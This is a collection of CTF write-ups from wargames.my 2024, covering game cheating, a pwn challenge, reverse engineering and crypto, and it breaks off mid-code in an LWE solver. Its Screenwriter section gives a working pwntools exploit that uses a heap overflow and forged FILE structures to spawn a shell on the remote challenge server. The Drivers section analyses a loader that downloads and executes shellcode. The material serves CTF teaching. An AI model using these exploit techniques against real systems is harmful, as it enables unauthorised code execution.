Try   HackMD

wargames.my 2024 Writeups

Collection of writeups from NUS Greyhats

Game

Game 1, 2 and 3 features the identical RPG Maker Game but built for different platforms (exe, APK and web).

For all three games, the flags are split into 5 parts and stored in the following locations

  1. Flag 1 is an item that's dropped after defeating level 1.
  2. Flag 2 is an item that's dropped after defeating level 2.
  3. Flag 3 can be found in a chest after defeating level 3.
  4. Flag 4 is ingrained into the map after defeating level 4.
  5. Flag 5 is an item that's obtained after level 5? (i'm not sure but that's not relevant)

Game 1

I used https://www.save-editor.com/tools/rpg_tkool_mz_save.html to modify my rmmzsave file that is generated after playing the game and saving your progress to one of the save slots.

I modified my save file to set the following attributes:

  • _items = {'33':1, '34':1, '35':1, '36':1, '37':1}
    • adds Flag 1, 2, 5 to your inventory
  • _buffs = [100,100,100,100,100,100,100,100]
    • increase our stats exponentially to one-shot enemies
  • _buffTurns= [100,100,100,100,100,100,100,100]
    • ensure that our buffs last long enough

Game 3

This was the same game but on a web browser. This made it significantly easier since we were able to directly modify/patch the javascript as the game was running.

We can set two breakpoints in the javascript code to help us easily obtain the different part of the flag and clear the enemies.

Game_Party.prototype.initAllItems = function() {
    this._items = {};
    this._weapons = {}; // set a breakpoint at this line. go to javascript console and run
                        // this._items = {'33':1, '34':1, '35':1, '36':1, '37':1}
    this._armors = {};
};

Game_BattlerBase.prototype.setHp = function(hp) {
    this._hp = hp;
    this.refresh(); // set a breakpoint at this line. you can modify this._hp to zero to instantly kill an enemy.
};

With these two hacks, we can easily obtain the flag in the same way as Game 1.

Game 2

This is the same game but compiled for an APK. If we use 7zip to extract the contents of a zip, we will find the game in assets/www.

We can host the game by running python -m http.server 8080 in the assets/www folder, which would give us the exact same challenge as Game 3.

The solution hereinafter is identical to that of Game 3.

Pwn

Screenwriter

We are given the program code as follows

void main(){
    init();
    char* name = malloc(0x28); // our input buffer is allocated to the heap
    FILE *ref_script = fopen("bee-movie.txt","r");
    FILE *own_script = fopen("script.txt","w");
    puts("Welcome to our latest screenwriting program!");

    while (true){
        int choice = 0;
        menu();

        switch (get_choice()) {
            case 1:
                printf("What's your name: ");
                read(0,name,0x280); // heap buffer overflow here
                break;

            case 2:
                char own_buf[0x101] = "";
                printf("Your masterpiece: ");
                read(0,own_buf,0x100);
                fwrite(own_buf,1,0x100,own_script);
                break;

            case 3:
                char ref_buf[0x11] = "";
                memset(ref_buf,0,0x11);
                fread(ref_buf,1,0x10,ref_script);
                puts("From the reference:");
                puts(ref_buf);
                break;

            default:
                printf("Goodbye %s",name);
                exit(0);
        }
    }
}

We can notice a few things from the code above

  1. There is an obvious buffer overflow on our input on the heap.
  2. After our input is allocated on the heap, two files are opened with fopen.
    • Files that are opened with fopen are backed with an _IO_FILE struct that is allocated on the heap.
    • We are able to fread and fwrite to/from the opened files.
  3. Our buffer overflow on our input will then overflow into the _IO_FILE struct on the heap. Any experienced pwner would identify that this is a FSOP attack.

Let's look at the fields in the _IO_FILE struct

struct _IO_FILE
{
  int _flags;
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  // truncated for brevity ...    
};

In order to read the contents of a file, we will need to invoke syscalls which is inefficient.
Instead, when fread is called for the first time, we first read the entire file content onto the heap.
Afterwards, we set our IO pointers to the allocated file content and return the requested buffer from the heap.

Most importantly, the idea is that upon calling fread, it will return you the buffer between _IO_read_ptr and _IO_read_end. Thus by overwriting those two pointers, we can gain an arbitrary read to any known address.

from pwn import *

elf = context.binary = ELF("chall")
libc = elf.libc
if args.REMOTE:
        p = remote("43.217.80.203",34668)
else:
        p = elf.process()

sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)

def set_name(buf):
    sla(b"Choice: ", b"1")
    sla(b"name: ", buf)

def write(buf):
    sla(b"Choice: ", b"2")
    sla(b"masterpiece: ", buf)

def read():
    sla(b"Choice: ", b"3")
    ru(b"reference:\n")

# arbitrary read is as simple as this
def get_arb_read(addr, sz=8):
    payload = b"A"*0x28 + p64(0x1e1)
    payload += p64(0xfbad2488) # flags
    payload += p64(addr) # read_ptr
    payload += p64(addr+sz) # read_end
    payload += p64(addr) # read_base
    set_name(payload)
    read()
    return unpack(p.recvline()[:-1], 'all')

# we leak puts address from the Global Offset Table to get libc base
libc.address = get_arb_read(0x403f88) - libc.sym.puts
log.info(f"libc base @ {hex(libc.address)}")


p.interactive()

(i don't remember which exact pointers are necessary to get arbitrary write but we can just write to all of the above. you may read the glibc source code for more information)

Similarly, we can overwrite _IO_write_base, _IO_write_ptr, _IO_write_end, _IO_buf_base and _IO_buf_end to gain an arbitrary write for fwrite.

In order to pop a shell from an arbitrary write, the easiest target for glibc 2.35 would be to overwrite _IO_2_1_stdout with a one shot payload.

# overwrite _IO_FILE to write to _IO_2_1_stdout

payload = b"A"*0x208 + p64(0x1e1)
payload += p64(0xfbad2c84) # flags
payload += p64(0) * 3 # read_ptr, read_end, read_base
payload += p64(libc.sym._IO_2_1_stdout_) # write_base
payload += p64(libc.sym._IO_2_1_stdout_) # write_ptr
payload += p64(libc.sym._IO_2_1_stdout_+0x100) # write_end
payload += p64(libc.sym._IO_2_1_stdout_) # buf_base
payload += p64(libc.sym._IO_2_1_stdout_+0x100) # buf_end
set_name(payload)

# copypasta one shot /bin/sh payload to overwrite _IO_2_1_stdout

standard_FILE_addr = libc.sym._IO_2_1_stdout_
fs = FileStructure()
fs.flags = unpack(b"  " + b"sh".ljust(6, b"\x00"), 64)  # "  sh"
fs._IO_write_base = 0
fs._IO_write_ptr = 1
fs._lock = standard_FILE_addr-0x10
fs.chain = libc.sym.system
fs._codecvt = standard_FILE_addr
fs._wide_data = standard_FILE_addr - 0x48
fs.vtable = libc.sym._IO_wfile_jumps

write(bytes(fs))

p.interactive()

And we get our shell.

Rev

Drivers

Stage 1

After obtaining the shellcode, we can convert it to an exe with https://github.com/repnz/shellcode2exe for ease of analysis with IDA/Ghidra.

We can use a debugger to step through the functions to understand the functionalities.

In order to make our life easier, we can define the dynamically resolved APIs in a struct as follows

struct api_struct
{
  void *gdiplus_GdiplusStartup;
  void *gdiplus_GdipCreateBitmapFromFile;
  void *gdiplus_GdipGetImageWidth;
  void *gdiplus_GdipGetImageHeight;
  void *gdiplus_GdipDisposeImage;
  void *gdiplus_GdipBitmapLockBits;
  void *gdiplus_GdipBitmapUnlockBits;
  void *gdiplus_GdiplusShutdown;
  void *wininet_InternetOpenA;
  void *wininet_InternetOpenUrlA;
  void *wininet_InternetReadFile;
  void *wininet_InternetCloseHandle;
  void *kernel32_LoadLibraryA;
  void *kernel32_CreateFileA;
  void *kernel32_WriteFile;
  void *kernel32_CloseHandle;
  void *kernel32_DeleteFileA;
  void *kernel32_GetProcessHeap;
  void *ntdll_RtlAllocateHeap;
  void *kernel32_GlobalAlloc;
  void *kernel32_lstrcat;
  void *kernel32_ExitProcess;
  void *kernel32_MultiByteToWideChar;
  void *kernel32_VirtualAlloc;
  void *kernel32_VirtualProtect;
  void *kernel32_lstrcmpi;
  void *kernel32_Process32First;
  void *kernel32_Process32Next;
  void *kernel32_CreateToolhelp32Snapshot;
  void *kernel32_CheckRemoteDebuggerPresent;
  void *kernel32_GetCurrentProcess;
  void *kernel32_GetCurrentThread;
  void *kernel32_GetThreadContext;
  void *user32_MessageBoxA;
  void *advapi32_RegOpenKeyExA;
  void *advapi32_RegQueryValueExA;
  void *advapi32_RegCloseKey;
  char unused[24];
};

After applying the struct and doing more dynamic analysis, we get code as follows

  memset(&api_struct, 0, sizeof(api_struct));
  sub_406778((__int64)v13, 0LL, 0, 0); // set some nulls

  // we can get all the dynamically resolved API by setting a breakpoint after this
  if ( (unsigned int)dynamically_resolve_apis(&api_struct) ) 
    return 0xFFFFFFFFLL;
  

  sc_len = 0;
  p_api_struct = &api_struct;
  p_api_struct_ = copy_value(&api_struct_, &p_api_struct);
  github_link = decrypt_github_link(p_api_struct_);
  // we do not need to understand the shellcode extracting logic
  // we simply can set a breakpoint right before shellcode is extracted to dump it out
  shellcode = extract_shellcode(&api_struct, github_link, &sc_len);
  if ( !shellcode )
  {
    kernel32_ExitProcess = p_api_struct->kernel32_ExitProcess;
    kernel32_ExitProcess(0xFFFFFFFFLL);
  }
  kernel32_VirtualAlloc = api_struct.kernel32_VirtualAlloc;
  rwx_mem = api_struct.kernel32_VirtualAlloc(0, sc_len, 12288, 4);
  qmemcpy(rwx_mem, shellcode, sc_len);
  kernel32_VirtualProtect = api_struct.kernel32_VirtualProtect;
  api_struct.kernel32_VirtualProtect(rwx_mem, sc_len, 32LL, v6);
  ((void (*)(void))rwx_mem)();

code is cleaned up with comments

We can dump out the extracted shellcode by setting a breakpoint on qmemcpy and dumpin gout sc_len of bytes from shellcode.

Stage 2

The API struct used is identical to Stage 1.

  memset(&api, 0, sizeof(api));
  sub_4032F8(v31, 0LL, 0, 0); // ignore: set some nulls
  if ( dynamically_resolve_apis(&api) ) // api struct is same as before
    return 0xFFFFFFFFLL;
  p_api = &api;

  // decrypt "ProgramFilesDir"
  v1 = sub_40151E(&v25, &p_api);
  str_ProgramFilesDir = decrypt_str_ProgramFilesDir(v1);
  programfilesdir_value = get_registry_value(&api, str_ProgramFilesDir);

  // decrypt "ProgramFilezDir"
  v2 = sub_4013DA(&v26, &p_api);
  str_ProgramFilezDir = decrypt_str_ProgramFilezDir(v2);
  programfilezdir_value = get_registry_value(&api, str_ProgramFilezDir);
  v8 = 0LL;

  // check_flag function validates the value of registry keys
  if ( check_flag(&api, programfilesdir_value, programfilezdir_value, &v8) )
  {
    v3 = sub_4012B9(&v27, &p_api);
    str_CORRECT = sub_4012D9(v3);
    v4 = sub_4011A7(&v28, &p_api);
    str_wgmy = sub_4011C7(v4);
    v5 = sub_4010A9(&v29, &p_api);
    str_close_braces = sub_4010C9(v5);
    kernel32_GlobalAlloc = api.kernel32_GlobalAlloc;
    v6 = (api.kernel32_GlobalAlloc)(0LL, 1000LL);
    memset(v6, 0, 0x3E8uLL);
    kernel32_lstrcat = api.kernel32_lstrcat;
    (api.kernel32_lstrcat)(v6, str_CORRECT);
    v16 = api.kernel32_lstrcat;
    (api.kernel32_lstrcat)(v6, space);
    v18 = api.kernel32_lstrcat;
    (api.kernel32_lstrcat)(v6, str_wgmy);
    v19 = api.kernel32_lstrcat;
    (api.kernel32_lstrcat)(v6, v8);
    v21 = api.kernel32_lstrcat;
    (api.kernel32_lstrcat)(v6, str_close_braces);
    user32_MessageBoxA = api.user32_MessageBoxA;
    (api.user32_MessageBoxA)(0LL, v6, str_CORRECT, 0LL); // print flag
  }
  else
  {
    kernel32_ExitProcess = api.kernel32_ExitProcess;
    (api.kernel32_ExitProcess)(0xFFFFFFFFLL);
  }

From the above cleaned code, the program reads the following registry keys

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir which has the value C:\Program Files by default.

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilezDir which contains an unknown value.

The check_flag function is as follows


bool check_flag(api_struct *api_struct, char *programfiles_dir, _BYTE *programfilez_dir, _QWORD *a4)
{
  _BYTE *flag;

  if ( !programfiles_dir || !programfilez_dir )
    return 0;
  flag = (api_struct->kernel32_GlobalAlloc)(0LL, 33LL);
  memset(flag, 0, 0x21uLL);
  flag[24] = transform(*programfiles_dir);
  flag[10] = transform(programfiles_dir[1]);
  flag[30] = transform(programfiles_dir[2]);
  flag[9] = transform(programfiles_dir[3]);
  flag[1] = transform(programfiles_dir[4]);
  flag[17] = transform(programfiles_dir[5]);
  flag[23] = transform(programfiles_dir[6]);
  flag[25] = transform(programfiles_dir[7]);
  flag[5] = transform(programfiles_dir[8]);
  flag[20] = transform(programfiles_dir[9]);
  flag[14] = transform(programfiles_dir[10]);
  flag[8] = transform(programfiles_dir[11]);
  flag[31] = transform(programfiles_dir[12]);
  flag[6] = transform(programfiles_dir[13]);
  *flag = transform(programfiles_dir[14]);
  flag[3] = transform(programfiles_dir[15]);
  flag[21] = programfilez_dir[21];
  flag[4] = programfilez_dir[4];
  flag[19] = transform(programfiles_dir[3]);
  flag[2] = programfilez_dir[2];
  flag[22] = programfilez_dir[22];
  flag[29] = programfilez_dir[29];
  flag[11] = programfilez_dir[11];
  flag[13] = programfilez_dir[13];
  flag[27] = programfilez_dir[27];
  flag[12] = programfilez_dir[12];
  flag[7] = programfilez_dir[7];
  flag[15] = programfilez_dir[15];
  flag[28] = programfilez_dir[28];
  flag[18] = programfilez_dir[18];
  flag[26] = programfilez_dir[26];
  flag[16] = programfilez_dir[16];
  *a4 = flag;
  return fnv1a_hash(flag) == 0x3B1F48B6 && fnv1a_hash(flag + 16) == 0x7C8DB53D;
}

__int64 transform(char a1)
{
  unsigned __int8 v2;

  v2 = a1 & 0xF;
  if ( (a1 & 0xFu) >= 0xA )
    return v2 + 87;
  else
    return v2 + 48;
}

It takes a bunch of characters from programfiles_dir and programfilez_dir and hashes it to check the value.

We can abstract the code logic into python

def transform(i):
    x = i & 0xf
    if x >= 0xa:
        return x + 87
    else:
        return x + 48

def fnv1a_32(data: bytes) -> int:
    offset_basis = 0x811C9DC5
    fnv_prime    = 0x1000193
    hash_val = offset_basis
    for byte in data:
        hash_val ^= byte
        hash_val = (hash_val * fnv_prime) & 0xFFFFFFFF
    return hash_val

programfiles_dir = bytes([transform(i) for i in r"C:\Program Files".encode()])
flag = bytearray(32)

flag[0] = programfiles_dir[14]
flag[1] = programfiles_dir[4]
# flag[2] = programfilez_dir[2]
flag[3] = programfiles_dir[15]
# flag[4] = programfilez_dir[4]
flag[5] = programfiles_dir[8]
flag[6] = programfiles_dir[13]
# flag[7] = programfilez_dir[7]
flag[8] = programfiles_dir[11]
flag[9] = programfiles_dir[3]
flag[10] = programfiles_dir[1]
# flag[11] = programfilez_dir[11]
# flag[12] = programfilez_dir[12]
# flag[13] = programfilez_dir[13]
flag[14] = programfiles_dir[10]
# flag[15] = programfilez_dir[15]
# flag[16] = programfilez_dir[16]
flag[17] = programfiles_dir[5]
# flag[18] = programfilez_dir[18]
flag[19] = programfiles_dir[3]
flag[20] = programfiles_dir[9]
# flag[21] = programfilez_dir[21]
# flag[22] = programfilez_dir[22]
flag[23] = programfiles_dir[6]
flag[24] = programfiles_dir[0]
flag[25] = programfiles_dir[7]
# flag[26] = programfilez_dir[26]
# flag[27] = programfilez_dir[27]
# flag[28] = programfilez_dir[28]
# flag[29] = programfilez_dir[29]
flag[30] = programfiles_dir[2]
flag[31] = programfiles_dir[12]

print(flag, hex(fnv1a_32(flag)))
print(flag[16:], hex(fnv1a_32(flag[16:])))

# output: 
"""
bytearray(b'52\x003\x001c\x0060a\x00\x00\x000\x00\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x3abf8f32
bytearray(b'\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x542d5f57
"""

As you can tell, our input are hexadecimal characters [0-9a-f]. The program checks the hash of the last 16 bytes and the entire 32 bytes of the flag.

In the last 16 bytes of the flag, we have 8 unknown characters. Assuming that the 8 unknown characters are hexadecimal characters, we will have 16**8 possible values.

After recovering the last 16 bytes, there is only 7 unknown characters in the first 16 bytes which is even more trivial to brute force 16**7.

Finally, we can ask ChatGPT to write us some C++ code to brute force the possibilities.

#include <iostream>
#include <cstdint>
#include <array>
#include <vector>
#include <string>
#include <cstdio>
#include <chrono>

inline uint32_t fnv1a_32(const uint8_t *data, size_t len)
{
    static const uint32_t FNV_OFFSET_BASIS = 0x811C9DC5u;
    static const uint32_t FNV_PRIME        = 0x1000193u;

    uint32_t hash = FNV_OFFSET_BASIS;
    for (size_t i = 0; i < len; i++) {
        hash ^= data[i];
        hash *= FNV_PRIME;
    }
    return hash;
}

int main()
{
    const uint32_t TARGET_HASH = 0x7C8DB53D;

    std::array<char, 16> plaintext = {
        'x', 'f', 'x', '0',    // known
        'd', 'x', 'x', '7',    // unknown
        '3', '2', 'x', 'x',    // unknown
        'x', 'x', 'c', '9'     // known
    };

    auto nibbleToHex = [](uint8_t x) -> char {
        return (x < 10) ? (char)('0' + x) : (char)('a' + (x - 10));
    };
    
    const char hexDigits[16] = {
        '0','1','2','3','4','5','6','7',
        '8','9','a','b','c','d','e','f'
    };

    std::vector<int> unknownPositions = {0,2,5,6,10,11,12,13};

    auto startTime = std::chrono::steady_clock::now();

    const uint64_t totalCombos = 1ULL << (4 * unknownPositions.size()); // 16^8

    uint64_t counter = 0;
    bool found = false;

    for (uint64_t combo = 0; combo < totalCombos; combo++) {
        uint64_t temp = combo;
        for (size_t i = 0; i < unknownPositions.size(); i++) {
            uint8_t nibble = temp & 0xF;
            temp >>= 4;
            plaintext[ unknownPositions[i] ] = hexDigits[nibble];
        }

        uint32_t h = fnv1a_32(
            reinterpret_cast<const uint8_t*>(plaintext.data()),
            plaintext.size()
        );

        if (h == TARGET_HASH) {
            found = true;
            std::string recovered(plaintext.begin(), plaintext.end());
            std::cout << "[+] Found match! Plaintext = " << recovered
                      << " -> 0x" << std::hex << h << std::dec << "\n";
        }

        if ((combo % 100000000ULL) == 0) {
            std::cout << combo << " / " << totalCombos << " tried...\n";
        }
    }

    auto endTime = std::chrono::steady_clock::now();
    double seconds = std::chrono::duration_cast<std::chrono::seconds>(
                         endTime - startTime
                     ).count();

    if (!found) {
        std::cout << "[-] No match found in " << totalCombos << " tries.\n";
    }
    std::cout << "Completed in " << seconds << " seconds.\n";

    return 0;
}
❯ g++ -O3 test.cpp
❯ time ./a.out
0 / 4294967296 tried...
100000000 / 4294967296 tried...
200000000 / 4294967296 tried...
300000000 / 4294967296 tried...
400000000 / 4294967296 tried...
500000000 / 4294967296 tried...
600000000 / 4294967296 tried...
700000000 / 4294967296 tried...
800000000 / 4294967296 tried...
900000000 / 4294967296 tried...
1000000000 / 4294967296 tried...
1100000000 / 4294967296 tried...
1200000000 / 4294967296 tried...
[+] Found match! Plaintext = bf60d2f732c384c9 -> 0x7c8db53d
[+] Found match! Plaintext = 1f60d7f7322884c9 -> 0x7c8db53d
1300000000 / 4294967296 tried...
^C
real    0m11.617s
user    0m11.610sasd
sys     0m0.007s

Now do the same for the first 16 bytes of the flag. Wrap it in wgmy{} and submit it!

Stones

https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/stones-rev

Sudoku

Observe that the binary is a Pyinstaller compiled executable.Use pyinstxtractor to extract sudoku.pyc out, and use pylingual to decompile the pyc file.

import random
alphabet = 'abcdelmnopqrstuvwxyz1234567890.'
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}'

def makeKey(alphabet):
    alphabet = list(alphabet)
    random.shuffle(alphabet)
    return ''.join(alphabet)
key = makeKey(alphabet)

def encrypt(plaintext, key, alphabet):
    keyMap = dict(zip(alphabet, key))
    return ''.join((keyMap.get(c.lower(), c) for c in plaintext))
enc = encrypt(plaintext, key, alphabet)

Write a reverse script to reveal the solution.

with open("out.enc", "r") as f:
    enc = f.read()
alphabet = "abcdelmnopqrstuvwxyz1234567890."
plaintext = "0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}"

mapping = {}
for index, char in enumerate(plaintext[:-16]):
    mapping[enc[index]] = char

print("".join(mapping.get(char, char) for char in enc[-38:]))

This reveals most of the flag: w.my{2ba914045b56c5e58..1b4a593b05746}
Observe that the flag format should be wgmy, and the "." in the MD5 portion of the flag has to be the letter "f" (as it has to be a valid MD5 hash).

Flag: wgmy{2ba914045b56c5e58ff1b4a593b05746}

Post Quantum Cryptography

Curve

import sys
from hashlib import sha512
from pwn import *

def xor(a, b):
    return bytes(x^^y for x, y in zip(a, b))


proc=remote("43.217.80.203", 34838)

proc.readuntil("p = ")
p = ZZ(proc.readline())
proc.readuntil("F.modulus() = ")

T.<x> = GF(p)[]
line = proc.readline()
F = GF(p^4, name="x", modulus=eval(preparse(line.decode())))

proc.readuntil("E.j_invariant() = ")
line = proc.readline()
j_invariant = F(eval(line))

proc.readuntil("P.xy() = ")
line = proc.readline()
z = F.0
P_0, P_1 = eval(preparse(line.decode()))

#    We need to solve for (a, b) in GF(p) such that E : y^2 = x^3 + a*x + b
#    matches the j_invariant and P lies on E.
R.<aa, bb> = F[]

# We create an ideal with two conditions:
#  - (P_1)^2 = (P_0)^3 + a*P_0 + b
#  - The derived j-invariant from (a,b) matches the printed j_invariant
# Then we solve this ideal in F(p^4). We only keep solutions where a,b are in GF(p).
solutions = R.ideal((
    P_1^2 - (P_0^3 + aa*P_0 + bb),
    (4*aa)^3 - j_invariant / (-1728) * (F(-16) * (4*aa^3 + 27*bb^2)),
    )).variety()

# Filter out solutions where aa, bb are not in GF(p)
solutions=[d for d in solutions if all(x in GF(p) for x in d.values())]
assert len(solutions)==1

# Extract the single solution (a, b) in GF(p)
a, b = solutions[0][aa], solutions[0][bb]

# Reconstruct the elliptic curve E over GF(p^4)
E = EllipticCurve(F, [a, b])
assert E.j_invariant() == j_invariant

# Reconstruct the point P on E
P = E(P_0, P_1)

assert p == E.base_field().order().perfect_power()[0]


##############################################################################
# We need to craft a point Q and integer k such that repeating the
# "Frobenius + scalar-mul" 10 times plus adding p*E.lift_x(Qx) yields P.
#############################################################################
while True:
    # Factor the group order of the curve (E.order() is the number of points).
    factorization = E.order().factor()
    
    # We try up to 1e9 attempts (though hopefully it hits success much sooner).
    for i in range(1000000000):
        print(i)  # Print iteration (just for logging in case it takes a while)
        
        # 1. Randomly pick a candidate k (the secret scalar).
        k = random.randint(1, 10**9)
        
        # 2. Attempt to build an invertible polynomial factor for each prime-power in factorization.
        try:
            l = []
            for p1, e in factorization:
                # Switch to p-adic or modular polynomials for prime-power p1^e
                S.<x> = Qp(p1, prec=e*4)[]
                
                # We want to invert ( (x+k)^10 + p ) mod (x^4 - 1 ).
                # xgcd(...) tries to compute gcd and the inverse factor.
                tmp = xgcd(((x+k)^10 + p) % (x^4 - 1), x^4 - 1)
                
                # tmp[1] is the Bezout coefficient (the "inverse" if gcd=1)
                f = tmp[1].change_ring(Zmod(p1^e))
                
                # Double check that indeed f * ((x+k)^10 + p) ≡ 1 mod (x^4 - 1)
                S.<x> = Zmod(p1^e)[]
                assert ((x+k)^10 + p) * f % (x^4 - 1) == 1
                
                # Store f for building up a full solution via CRT later.
                l.append(f)
        
        # If we manually interrupt or if there's an alarm, just break.
        except (KeyboardInterrupt, signal.ItimerError):
            break
        # On any other error (like not invertible, gcd!=1, etc.), skip and try next k
        except:
            traceback.print_exc()
            continue
        
        # If we succeeded in building all partial factors, break out of i-loop
        # (we have a valid set of "inverses" for each prime-power factor).
        break

    # Now combine those partial solutions l[] via CRT to get a single polynomial f
    S.<x> = Zmod(E.order())[]
    l = [S(f) for f in l]
    # Build the polynomial f in Zmod(E.order())[x] using the Chinese Remainder Theorem
    f = sum(a*b for a,b in zip(l, CRT_basis([p1^e for p1,e in factorization])))
    
    # Final check that f really is the inverse of ((x+k)^10 + p) mod (x^4 - 1)
    assert (((x+k)^10 + p) * f) % (x^4 - 1) == 1

    # Extract the polynomial's coefficients as "coefficients"
    coefficients = [*f]
    
    # 3. Construct Q as a linear combination of P, P^p, P^(p^2), P^(p^3).
    #    (Frobenius is x-> x^p in GF(p^4).)
    before_frob = [P]
    while len(before_frob) < 4:
        before_frob.append(E(before_frob[-1][0]^p, before_frob[-1][1]^p))
    
    # Q = sum(coeff_i * before_frob[i]) 
    Q = sum(a*b for a,b in zip(coefficients, before_frob))
    
    # Qx is the x-coordinate of Q
    Qx = Q[0]
    
    # We need Q to be the E.lift_x(Qx) (meaning Q is the "correct sign" of the point).
    # If it doesn't match, we skip and retry.
    if Q != E.lift_x(Qx):
        continue
    
    # If it matches, we found a suitable Q (and corresponding k).
    break

    
# 4. Double-check that applying the challenge's transformations to Q does indeed yield P.
Q_backup = Q
for _ in range(10):
    # Tx, Ty = Q^p   (Frobenius)
    Tx, Ty = Q.x()^p, Q.y()^p
    
    # Hx, Hy = (k*Q).xy()
    Hx, Hy = (k * Q).xy()
    
    # Q = (Tx, Ty) + (Hx, Hy)
    Q = E(Tx, Ty) + E(Hx, Hy)

# Finally, add p*E.lift_x(Qx)
Q = Q + p * E.lift_x(Qx)

# Confirm that this final Q is indeed P.
assert Q == P

# Restore Q to the original (useful if needed again)
Q = Q_backup

proc.readuntil("Qx:")
proc.write(' '.join(str(x) for x in Qx) + '\n')

proc.readuntil("k:")
proc.write(f'{k}\n')

proc.interactive()
# FLAG 5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8


flag = xor(
        bytes.fromhex('5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8'),
        sha512((str(a) + str(b)).encode()).digest()
)
print(flag)

LWE

import os
import random
import numpy as np
import signal


def change_support(support):
    while (t := random.randint(0, n - 1)) in support: pass
    support[random.randint(0, k - 1)] = t
    return support

n = 500; p = 3691; k = 10; m = 20 * n

seed = os.urandom(16)
random.seed(seed)

A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)

columns = list(range(m))
random.shuffle(columns)

for i in columns:
    if (random.randint(0, 2) == 0):
        support = change_support(support)
    A[support, i] = [random.randint(0, p - 1) for _ in range(k)]

secure_random = random.SystemRandom()
s = np.array([secure_random.randint(0, p - 1) for _ in range(n)])
e = np.round(np.random.normal(0, 1, size=m)).astype(int)

b = (s @ A + e) % p

import random
import numpy as np
n = 500; p = 3691; k = 10; m = 20 * n

def change_support(support):
    while (t := random.randint(0, n - 1)) in support: pass
    support[random.randint(0, k - 1)] = t
    return support

random.seed(seed)

A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)

columns = list(range(m))
random.shuffle(columns)

for i in columns:
    if (random.randint(0, 2) == 0):
        support = change_support(support)
    A[support, i] = [random.randint(0, p - 1) for _ in range(k)]


from sage.matrix.matrix_mod2_dense cimport Matrix_mod2_dense
from sage.matrix.matrix_modn_dense_double cimport Matrix_modn_dense_double
cimport numpy as np
cpdef copy_from_numpy(Matrix_mod2_dense A, np.ndarray[np.int8_t, ndim=2] B):
	assert A.nrows() == B.shape[0]
	assert A.ncols() == B.shape[1]
	for i in range(B.shape[0]):
		for j in range(B.shape[1]):
			A.set_unsafe(i, j, B[i, j])
cpdef copy_from_numpy_2(Matrix_modn_dense_double A, np.ndarray[np.int64_t, ndim=2] B):
	assert A.nrows() == B.shape[0]
	assert A.ncols() == B.shape[1]
	for i in range(B.shape[0]):
		for j in range(B.shape[1]):
			A.set_unsafe_int(i, j, B[i, j])

def flatter(M):
	if M.nrows() > M.ncols():
		
		M = M.LLL(delta=0.75)
	from subprocess import check_output
	from re import findall
	z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
	ret = check_output(["flatter", "-rhf", "1.03"], input=z.encode())
	return matrix(M.nrows(), M.ncols(), map(ZZ, findall(b"-?\\d+", ret)))

def closest_vector(A, w):
	global B
	c = sum([abs(a) for row in A for a in row]) + 1
	B = matrix.block([
		[A, matrix.zero(A.nrows(), 1)],
		[matrix(w), c],
	])
	
	B = B.LLL()
	first_nonzero_row = np.nonzero(np.any(np.array(B), axis=1))[0][0]
	B = B[first_nonzero_row:]
	assert B[:-1, -1]==0
	row=B[-1]
	B=B[:-1,:-1]
	assert row[-1] != 0
	if row[-1] == c:
		return B, w - vector(row[:-1])
	else:
		assert row[-1] == -c
		return B, w - vector(-row[:-1])


def solve(A, AS, b, s, e, columns, path, hint):
	if AS.nrows() == 0:
		return np.array([])
	print(AS.nrows(), AS.ncols())
	assert AS.nrows() == AS.rank()
	def try_reduce(num_columns, i):
		nonlocal A, AS, b, s, e, columns
		ss = None
		if s is not None:
			ss = vector(GF(p), s)
		columns_slice = slice(i-num_columns, i)
		row_slice = np.nonzero(np.sum(np.abs(np.array(AS[:, columns[columns_slice]], dtype=int)), axis=1))[0]
		if s is not None:
			assert ss * AS[:, columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]])
			assert vector(s[row_slice]) * AS[[*row_slice], columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]])
		B, v1 = closest_vector(
				matrix.block(ZZ, [
					[matrix.identity(num_columns)*p],
					[AS[[*row_slice], columns[columns_slice]]]
					]),
				vector(ZZ, b[columns[columns_slice]])
				)
		
		okay = np.ones(B.ncols(), dtype=int)
		for row in B.rows():
			if np.linalg.norm(row) < 20:  
				okay &= ~np.array(row)
			else: break
		okay=okay.astype(bool)
		if e is not None:
			v2 = (b-e)[columns[columns_slice]]
			assert (v1 == v2)[okay].all()
		
		good_columns=[*np.array(columns[columns_slice])[okay]]
		
		sr = [None]*AS.nrows()
		if s is not None:
			assert vector(s[row_slice]) * AS[[*row_slice], good_columns] == vector(np.array(v1)[okay])
		row_slice = row_slice[~np.any(np.array(AS[[*row_slice], good_columns].left_kernel_matrix(), dtype=int), axis=0)]
		for j, sj in zip(row_slice, AS[[*row_slice], good_columns].solve_left(vector(np.array(v1)[okay]))):
			if sr[j] is not None:
				assert sr[j] == sj
			sr[j] = sj
			if s is not None:
				assert sr[j] == s[j]
		
		remaining_row_slice = np.nonzero(np.array(sr) == None)[0]
		s1=None
		if s is not None:
			s1 = s[remaining_row_slice]
